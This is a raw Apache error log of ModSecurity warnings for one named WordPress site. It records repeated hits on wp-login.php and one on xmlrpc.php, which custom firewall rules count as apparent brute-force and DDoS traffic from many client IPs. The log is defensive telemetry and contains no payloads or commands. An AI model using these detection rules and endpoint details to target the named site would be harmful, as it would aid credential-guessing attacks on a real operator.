[Tue Nov 18 04:06:02.644651 2025] [:error] [pid 61482:tid 61505] [client 66.29.146.11:56030] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuAKvtNHsWZClVWav4lpwAAANI"]
[Tue Nov 18 04:06:03.827545 2025] [:error] [pid 61482:tid 61487] [client 66.29.146.11:56030] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuAK_tNHsWZClVWav4lqgAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 04:07:02.413075 2025] [:error] [pid 61391:tid 61411] [client 198.54.114.17:56588] [client 198.54.114.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuAZowXIKmhlnkP3-c-fgAAAAs"]
[Tue Nov 18 04:34:45.580160 2025] [:error] [pid 61391:tid 61409] [client 198.187.29.100:38104] [client 198.187.29.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.100, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuG5YwXIKmhlnkP3-dGdwAAAAk"]
[Tue Nov 18 04:34:46.853173 2025] [:error] [pid 61391:tid 61404] [client 198.187.29.100:38104] [client 198.187.29.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.100, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuG5owXIKmhlnkP3-dGeQAAAAQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 04:35:10.615916 2025] [:error] [pid 61393:tid 61473] [client 66.29.153.108:48934] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuG_mH9XjlbVPv9gQUFVQAAAJE"]
[Tue Nov 18 04:35:11.737798 2025] [:error] [pid 61393:tid 61469] [client 66.29.153.108:48934] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuG_2H9XjlbVPv9gQUFWAAAAI0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 04:35:15.689606 2025] [:error] [pid 61393:tid 61467] [client 66.29.137.107:45824] [client 66.29.137.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.137.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuHA2H9XjlbVPv9gQUFXwAAAIs"]
[Tue Nov 18 04:35:16.831454 2025] [:error] [pid 61393:tid 61457] [client 66.29.137.107:45824] [client 66.29.137.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.137.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuHBGH9XjlbVPv9gQUFZAAAAIE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 04:37:05.555819 2025] [:error] [pid 61482:tid 61501] [client 198.54.114.111:39212] [client 198.54.114.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuHcftNHsWZClVWav4wGQAAAM4"]
[Tue Nov 18 04:37:06.802817 2025] [:error] [pid 61482:tid 61489] [client 198.54.114.111:39212] [client 198.54.114.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuHcvtNHsWZClVWav4wHQAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 04:37:10.539773 2025] [:error] [pid 61393:tid 61462] [client 67.223.118.41:34286] [client 67.223.118.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.41, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuHdmH9XjlbVPv9gQUF1AAAAIY"]
[Tue Nov 18 04:37:11.668640 2025] [:error] [pid 61393:tid 61478] [client 67.223.118.41:34286] [client 67.223.118.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.41, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuHd2H9XjlbVPv9gQUF4AAAAJY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 05:06:34.872878 2025] [:error] [pid 29195:tid 29212] [client 66.29.141.128:50390] [client 66.29.141.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.141.128, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuOWhMeonxy_4yeOTUkogAAAQ8"]
[Tue Nov 18 05:06:36.155817 2025] [:error] [pid 29195:tid 29200] [client 66.29.141.128:50390] [client 66.29.141.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.141.128, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuOXBMeonxy_4yeOTUkpAAAAQM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 05:06:50.332667 2025] [:error] [pid 61391:tid 61422] [client 199.188.206.50:33744] [client 199.188.206.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 199.188.206.50, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRuOaowXIKmhlnkP3-dPyAAAABY"]
[Tue Nov 18 05:07:02.232681 2025] [:error] [pid 61482:tid 61508] [client 198.187.29.100:55262] [client 198.187.29.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.100, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuOdvtNHsWZClVWav46pwAAANU"]
[Tue Nov 18 05:07:03.481337 2025] [:error] [pid 61482:tid 61507] [client 198.187.29.100:55262] [client 198.187.29.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.100, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuOd_tNHsWZClVWav46qAAAANQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 05:16:50.296277 2025] [:error] [pid 42804:tid 42815] [client 162.0.217.222:50760] [client 162.0.217.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.222, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuQwvpXARlE6tIuBnk-DAAAAUk"]
[Tue Nov 18 05:16:51.474334 2025] [:error] [pid 42804:tid 42817] [client 162.0.217.222:50760] [client 162.0.217.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.222, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuQw_pXARlE6tIuBnk-DgAAAUs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 05:25:48.592889 2025] [:error] [pid 61391:tid 61422] [client 198.54.114.107:50526] [client 198.54.114.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuS3IwXIKmhlnkP3-dUHQAAABY"]
[Tue Nov 18 05:25:50.675898 2025] [:error] [pid 61391:tid 61400] [client 198.54.114.107:50526] [client 198.54.114.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuS3owXIKmhlnkP3-dUHgAAAAA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 05:28:25.422481 2025] [:error] [pid 61391:tid 61411] [client 38.242.139.166:47088] [client 38.242.139.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.242.139.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuTeYwXIKmhlnkP3-dUrAAAAAs"]
[Tue Nov 18 05:48:23.227748 2025] [:error] [pid 29195:tid 29213] [client 63.250.38.69:59030] [client 63.250.38.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuYJxMeonxy_4yeOTUwWgAAARA"]
[Tue Nov 18 05:48:24.634929 2025] [:error] [pid 29195:tid 29211] [client 63.250.38.69:59030] [client 63.250.38.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuYKBMeonxy_4yeOTUwXgAAAQ4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 05:49:54.344329 2025] [:error] [pid 29195:tid 29198] [client 66.29.153.108:38316] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuYghMeonxy_4yeOTUw2QAAAQE"]
[Tue Nov 18 05:49:55.886603 2025] [:error] [pid 29195:tid 29199] [client 66.29.153.108:38316] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuYgxMeonxy_4yeOTUw2wAAAQI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 06:18:58.038099 2025] [:error] [pid 61392:tid 61430] [client 198.187.29.236:53016] [client 198.187.29.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRufUnSmvb496zZxueLOuQAAAEE"]
[Tue Nov 18 06:18:59.476844 2025] [:error] [pid 61392:tid 61453] [client 198.187.29.236:53016] [client 198.187.29.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRufU3Smvb496zZxueLOvQAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 06:19:03.146159 2025] [:error] [pid 42804:tid 42813] [client 198.54.126.241:42108] [client 198.54.126.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.126.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRufV_pXARlE6tIuBnlVJwAAAUc"]
[Tue Nov 18 06:19:04.465791 2025] [:error] [pid 42804:tid 42822] [client 198.54.126.241:42108] [client 198.54.126.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.126.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRufWPpXARlE6tIuBnlVMAAAAVA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 06:19:29.125504 2025] [:error] [pid 42804:tid 42809] [client 199.188.200.106:51562] [client 199.188.200.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.200.106, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRufcfpXARlE6tIuBnlVWQAAAUM"]
[Tue Nov 18 06:19:30.410922 2025] [:error] [pid 42804:tid 42817] [client 199.188.200.106:51562] [client 199.188.200.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.200.106, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRufcvpXARlE6tIuBnlVXQAAAUs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 06:19:34.195212 2025] [:error] [pid 61392:tid 61451] [client 198.54.120.130:40338] [client 198.54.120.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRufdnSmvb496zZxueLPGgAAAFY"]
[Tue Nov 18 06:19:35.441952 2025] [:error] [pid 61392:tid 61434] [client 198.54.120.130:40338] [client 198.54.120.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRufd3Smvb496zZxueLPGwAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 06:21:16.468671 2025] [:error] [pid 61391:tid 61419] [client 198.54.114.111:53852] [client 198.54.114.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuf3IwXIKmhlnkP3-dg8gAAABM"]
[Tue Nov 18 06:21:17.912326 2025] [:error] [pid 61391:tid 61414] [client 198.54.114.111:53852] [client 198.54.114.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuf3YwXIKmhlnkP3-dg8wAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 06:21:42.211407 2025] [:error] [pid 61393:tid 61459] [client 198.54.114.106:46258] [client 198.54.114.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.106, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuf9mH9XjlbVPv9gQUhDQAAAIM"]
[Tue Nov 18 06:21:43.476379 2025] [:error] [pid 61393:tid 61477] [client 198.54.114.106:46258] [client 198.54.114.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.106, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuf92H9XjlbVPv9gQUhDwAAAJU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 06:40:24.549170 2025] [:error] [pid 29195:tid 29206] [client 103.74.118.171:47556] [client 103.74.118.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.118.171, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRukWBMeonxy_4yeOTVC9gAAAQk"]
[Tue Nov 18 07:21:35.552228 2025] [:error] [pid 29195:tid 29211] [client 68.65.120.221:47826] [client 68.65.120.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.120.221, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRut_xMeonxy_4yeOTVMgAAAAQ4"]
[Tue Nov 18 07:21:36.816891 2025] [:error] [pid 29195:tid 29216] [client 68.65.120.221:47826] [client 68.65.120.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.120.221, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuuABMeonxy_4yeOTVMgwAAARM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 07:21:40.581052 2025] [:error] [pid 29195:tid 29206] [client 66.29.146.11:46120] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuuBBMeonxy_4yeOTVMiwAAAQk"]
[Tue Nov 18 07:21:41.671063 2025] [:error] [pid 29195:tid 29204] [client 66.29.146.11:46120] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuuBRMeonxy_4yeOTVMjAAAAQc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 08:04:32.063978 2025] [:error] [pid 29195:tid 29200] [client 198.54.120.16:54088] [client 198.54.120.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu4EBMeonxy_4yeOTVUdgAAAQM"]
[Tue Nov 18 08:04:33.732829 2025] [:error] [pid 29195:tid 29207] [client 198.54.120.16:54088] [client 198.54.120.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu4ERMeonxy_4yeOTVUdwAAAQo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 08:04:37.754725 2025] [:error] [pid 29195:tid 29213] [client 45.119.81.168:34252] [client 45.119.81.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.81.168, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu4FRMeonxy_4yeOTVUeAAAARA"]
[Tue Nov 18 08:04:38.927760 2025] [:error] [pid 29195:tid 29210] [client 45.119.81.168:34252] [client 45.119.81.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.81.168, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu4FhMeonxy_4yeOTVUegAAAQ0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 08:04:42.971462 2025] [:error] [pid 61482:tid 61507] [client 162.0.209.147:39146] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu4GvtNHsWZClVWav5qOQAAANQ"]
[Tue Nov 18 08:04:44.252789 2025] [:error] [pid 61482:tid 61498] [client 162.0.209.147:39146] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu4HPtNHsWZClVWav5qOgAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 08:13:22.410220 2025] [:error] [pid 61482:tid 61489] [client 63.250.38.69:52652] [client 63.250.38.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu6IvtNHsWZClVWav5tFAAAAMI"]
[Tue Nov 18 08:13:23.774521 2025] [:error] [pid 61482:tid 61488] [client 63.250.38.69:52652] [client 63.250.38.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu6I_tNHsWZClVWav5tFQAAAME"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 08:35:46.271106 2025] [:error] [pid 28635:tid 28658] [client 198.187.29.130:40936] [client 198.187.29.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu_YmB61AnWhG54Xz3OhQAAAdQ"]
[Tue Nov 18 08:35:47.465405 2025] [:error] [pid 28635:tid 28640] [client 198.187.29.130:40936] [client 198.187.29.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRu_Y2B61AnWhG54Xz3OiQAAAcI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 08:48:15.955263 2025] [:error] [pid 42804:tid 42817] [client 66.29.153.199:52110] [client 66.29.153.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvCT_pXARlE6tIuBnl8TwAAAUs"]
[Tue Nov 18 08:48:17.339265 2025] [:error] [pid 42804:tid 42828] [client 66.29.153.199:52110] [client 66.29.153.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvCUfpXARlE6tIuBnl8UgAAAVY"], referer: https://rcacivilgroup.com/wp-login.php
